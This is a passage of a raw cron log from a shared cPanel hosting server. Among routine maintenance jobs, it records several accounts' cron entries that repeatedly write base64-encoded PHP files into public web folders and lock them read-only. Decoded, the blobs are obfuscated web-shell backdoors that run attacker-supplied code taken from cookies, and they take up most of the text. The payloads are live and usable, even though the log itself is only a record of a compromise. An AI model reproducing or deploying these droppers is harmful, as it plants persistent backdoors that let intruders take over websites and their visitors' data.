2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:44:02 medusa CROND[9449]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 04:44:02 medusa CROND[9450]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:44:02 medusa CROND[9451]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 04:44:02 medusa CROND[9454]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:44:02 medusa CROND[9453]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:44:02 medusa CROND[9459]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:44:02 medusa CROND[9461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:44:02 medusa CROND[9458]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:44:02 medusa CROND[9474]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:45:02 medusa CROND[29454]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:45:02 medusa CROND[29455]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:45:02 medusa CROND[29456]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 04:45:02 medusa CROND[29457]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Mar  2 04:45:02 medusa CROND[29458]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 04:45:02 medusa CROND[29459]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 04:45:02 medusa CROND[29461]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 04:45:02 medusa CROND[29480]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 04:45:02 medusa CROND[29477]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 04:45:02 medusa CROND[29482]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:45:02 medusa CROND[29481]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:45:02 medusa CROND[29483]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 04:45:02 medusa CROND[29489]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:45:02 medusa CROND[29491]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 04:45:02 medusa CROND[29487]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:45:02 medusa CROND[29490]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:45:02 medusa CROND[29493]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 04:45:02 medusa CROND[29476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:45:02 medusa CROND[29495]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 04:45:02 medusa CROND[29496]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:45:02 medusa CROND[29497]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 04:45:02 medusa CROND[29500]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:45:02 medusa CROND[29475]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 04:45:02 medusa CROND[29508]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:46:01 medusa CROND[13500]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:46:01 medusa CROND[13502]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 04:46:01 medusa CROND[13501]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:46:01 medusa CROND[13503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:46:01 medusa CROND[13516]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:46:01 medusa CROND[13520]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
